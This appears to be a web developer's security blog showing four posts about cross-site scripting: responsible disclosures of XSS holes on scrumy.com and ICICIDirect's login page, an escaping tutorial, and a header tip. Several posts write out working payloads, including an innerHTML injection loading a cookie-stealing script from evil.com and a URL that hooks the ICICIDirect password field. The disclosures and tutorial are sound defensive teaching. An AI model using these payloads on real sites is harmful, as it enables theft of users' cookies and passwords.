[philiptellis] /bb|[^b]{2}/
Never stop Grokking


Showing posts with label xss. Show all posts
Showing posts with label xss. Show all posts

Saturday, June 04, 2011

Almost right is not right enough

I was recently pointed to scrumy.com by a group that wants to use the scrum agile method. A quick look around the site showed that they were doing a lot in JavaScript. In particular, they took the name of the current scrum (or sprint if you prefer) from the URL and wrote it into the HTML, JavaScript and a few URLs. So, if your sprint were named hello-dolly, your URL would be http://scrumy.com/hello-dolly/

Here's the sad part... they almost got their filtering right. When written into the HTML, they correctly encoded used HTML entities and when written into URLs, they correctly URI encoded the data. They even did this for URIs that were written into JavaScript variables.

Where they didn't encode, was a JavaScript variable not used in any of these contexts. A small part of their JavaScript for the hello-dolly example reads like this:
window.projectName="hello-dolly";
Change the URL to http://scrumy.com/%22%3balert(0)%3b%22 and this is what gets written into the page:
window.projectName="";alert(0);"";
Resulting in an XSS.

Now I only looked at a single page on the site, so can't comment on whether there are more holes or not.

I emailed them as soon as I found the bug and a few hours later it was fixed. Good job folks!

Friday, March 18, 2011

X-XSS-Protection

Internet Explorer 8 has a "useful" feature where it tries to detect if a page is under an XSS attack. If it thinks it has detected an attack, it will disable the malicious code and warn the user about it. Sound good on the surface of it, except that it's often wrong, often with ads. In most cases with security issues, it's better to err on the side of caution, but what happens here is that IE ends up warning your users about non-existent security issues on your site. Users lose trust in your site and everyone loses.

If you already take proactive steps to protect your users from XSS attacks, you SHOULD disable the check and warning. To do this, add the following HTTP header to all your responses:
X-XSS-Protection: 0
How you do that depends on the server you're using. For apache, you'd add this to one of your apache conf files:
Header add X-XSS-Protection 0
TTYL

Thursday, January 20, 2011

Sometimes you need to wash twice

When conversing across languages, informations is sometimes lost in translation.

The problem I'll talk about today deals with the different ways in which quotes can be represented in different contexts, in particular, when passing data across language boundaries. Let's look at some code.
<?php
   $s = filter_var($_GET['s'], FILTER_SANITIZE_SPECIAL_CHARS);
?>
<script>
   var s = "<?php echo $s; ?>";

   var div = document.getElementById("content");
   div.innerHTML = s;
</script>
From the HTML perpective, this code appears clean. Data from the URL parameter s needs to be written out to HTML and we're applying a suitable filter to it to make it safe for use in that context. This code would be fine if we were passing the data directly from PHP to HTML, but that's not what we're doing here.

Testing this code out with the usual suspects — <>&"' — shows that it's safe. You can neither insert HTML into the div, nor can you insert JavaScript by getting out of the quotes since all quotes in the input data are converted to &#34;

It seems that the worst that we can do here is to break the JavaScript by throwing a \ into the end of s. The output of our PHP becomes:
<script>
   var s = "...\";

   var div = document.getElementById("content");
   div.innerHTML = s;
</script>
The result is that our JavaScript terminates with an error after line 1, and that's the end of it... but maybe not.

The \ gives us a clue. In JavaScript, all characters are unicode, and we can represent any character by its unicode equivalent using the \u<codepoint>. This still doesn't help us get out of the quotes in JavaScript, but it does mess around with the innerHTML.

What we're doing in the innerHTML assignment is assigning a string to a div's innerHTML property, and then the browser goes ahead and renders that string as if it were HTML. In essence, innerHTML is to HTML what eval() is to JavaScript and PHP — a bad idea.

We can now craft a string made completely using the unicode escape sequences for JavaScript. For example, \u003cscript+src\u003d\u0022http://evil.com/cookie-steal.js\u0022\u003e\u003c/script\u003e

When assigned to the innerHTML, it turns into the following HTML:
<script src="http://evil.com/cookie-steal.js"></script>
Fortunately, browsers won't execute script nodes that were added using innerHTML. They will, however execute inline events on elements added through innerHTML, so we do this instead:
\u003cimg+src\u003dblah+onerror\u003d\u0022s=document.createElement(\u0027script\u0027);s.src\u003d\u0027http://evil.com/cookie-steal.js\u0027;document.body.appendChild(s);\u0022\u003e, which translates to the following HTML (indented for readability):
<img src=blah
   onerror="s=document.createElement('script');
            s.src='http://...';
            document.body.appendChild(s);">
The JavaScript fires in most cases. To get it to fire in all cases, you also need to attach to the onload event.

So, what's the fix here?

To think about the fix, we need to think about context, and every place this user data is being used. Depending on the actual use case, our fix may involve just one change, or several changes to the above code. One change is mandatory though:
<?php
   $s = filter_var($_GET['s'], FILTER_SANITIZE_SPECIAL_CHARS);
?>
<script>
   var s = <?php echo json_encode($s); ?>

   var div = document.getElementById("content");
   div.innerHTML = s;
</script>
The json_encode function returns a quoted JavaScript string. It correctly escapes all characters within that string that are special to JavaScript, so in our case, \u00xx turns into \\u00xx. Note that addslashes is insufficient as it does not escape newline characters which are valid inside PHP strings.

Two things to learn from this:
  1. When passing untrusted data across language boundaries, you may need to sanitize it multiple times
  2. innerHTML is the eval of HTML

Saturday, January 01, 2011

Fixing the XSS on ICICIDirect.com

I tried logging in to my ICICIDirect account over Christmas and realised that I'd forgotten my username (I still remembered the password though). While entering the wrong username, I also noticed that I was being redirected to the following URL:
https://secure.icicidirect.com/newsitetrading/customer/Logon.asp?errmsg=Invalid%20Login%20Id%20or%20Password:Please%20try%20again.
Notice the error message showing up in the URL. Curiosity got the better of me and I tried playing around with the URL and found that it was open to an XSS. I sent the following message to their helpdesk:
Hi,

I've found a security hole on your login page. Please put me in touch with someone responsible for the security of your page so I can explain the problem to them and get it fixed.

Thanks,
and then tweeted about the existence of the XSS without providing any details. Pretty soon others figured it out as well.

Now this was on Sunday the 26th, and no one at ICICI was checking emails, but on Monday I received a phone call from Abhishake Mathur, the head of customer service. He called on the phone number registered with my account. I tried to explain the concept of a cross-site-scripting bug to him and that an evil person could use it to steal a user's password, but it wasn't easy. He kept telling me that when I visit their site I should see the lock icon (referring to the SSL lock that some browsers display for sites served over HTTPS) and that as long as I saw that, no one could steal my password. I asked him to email me from his official address so that I could reply and demonstrate the problem along with screenshots and links.

I received no emails, however he called back a few times with questions from his technical team and someone who he called his senior, however these people were either not allowed to speak to me directly or did not want to speak to me directly. I can imagine that some companies only like PR or Customer Support to interact directly with users. We at Yahoo! have an official security contact and all security related communication is done through that channel, however the persons behind that channel are all highly technical and qualified in the security field.

In any event, I headed out early that evening, and was not home when they called a few more times. I left word at home that if they call to ask them to email me. That night I still hadn't received an email. The following morning they called while I was in the shower and my dad asked them to call back a little later. When I got out, there was an email in my inbox essentially asking me to describe the problem I was facing.

I replied with the following:
Hi Abhishake,

Thank you for getting back to me. I'll explain the problem in detail. First let's define three entities.

1. The real user, we shall call this person Ashish
2. Your website, we shall refer to this as ICICIDirect
3. The attacker, we shall call this person Bala

Now, in this scenario, Bala sends an email to Ashish pretending to come from ICICIDirect. Note, this is similar, but different normal phishing email since in this email, he includes a real URL to ICICIDirect. It would look something like this:

================
Dear User,

Please log in to ICICIDirect here.

Thank you,

ICICIDirect
================

Of course, it might have more details to make it look authentic. Now if you check the link, you will see that it points to this URL:
https://secure.icicidirect.com/newsitetrading/customer/logon.asp?errmsg=%3Cscript%3EsetTimeout%28function%28%29%20{var%20e=document.getElementsByName%28%27FML_USR_USR_PSSWRD%27%29[0];%20e.form.onsubmit=function%28%29%20{alert%28%27password%20is%20%27%20%2b%20e.value%29;%20return%20false;};},2000%29;%3C/script%3E

This is a link on the ICICIDirect website as you can see, it starts with https://secure.icicidirect.com/ and is running on your own servers. Now if you click on the link, it will show you a page that looks like this:
ICICIDirect - login

This page is exactly the same as your login page because it is your login page. However, if you try to login (for this example, please log in with a fake password since it will be displayed), then you will get something like this:

login-pwnd

For this example, I have only displayed the password in a JavaScript popup, but a real attacker like Bala in our example would send this username and password to their own server using a beacon.

The reason this thing happens is because the "errmsg" parameter that is passed in the URL of the page is not sanitized to make sure it is safe. By default you pass in error messages like "Invalid User Name or Password", but an attacker can change this message to anything exactly like I have done in this example. They can add JavaScript to this parameter and get it inserted into your page.

If you do a view source on the link that I sent you, you will see the following code in there:
<script>
setTimeout(function() {var e=document.getElementsByName('FML_USR_USR_PSSWRD')[0];
 e.form.onsubmit=function() {alert('password is ' + e.value);
 return false;};},2000);
</script>

This was added by manipulating the "errmsg" parameter.

Although there are better ways to accomplish what you need to do, the immediate way to fix this is to validate the errmsg parameter to make sure it only contains safe values. This means that there should be no <, > &, " or ' characters in this parameter. In ASP you can do this using the Server.HtmlEncode method to clean the errstr parameter. For a more detailed analysis of cross site scripting in ASP, have a look at this document: http://www.4guysfromrolla.com/webtech/112702-1.2.shtml

I hope this explains the problem completely. The example I have shown is fairly benign, but a real bad person could do worse things. Feel free to get back to me if you have more questions. As a user of ICICIDirect, I am very interested in making sure it is secure.

Thank you,
I received a reply in under an hour saying that their technical team was looking into the matter and then three hours later another email saying that the issue was fixed and asking if I could verify.

I checked, and they had indeed fixed the immediate problem. They still weren't sanitizing the input, however they went one step further, they completely ignored the input. The initial problem was that they were echoing the value of the errmsg parameter untreated. Their solution was to treat the errmsg parameter as a boolean and echo a fixed error message of Invalid Login Id or Password:Please try again. if the parameter was set to any value.

This fixes the immediate issue, but given that they haven't considered input filtering, chances are that there are similar bugs elsewhere on the site that still exist.

...===...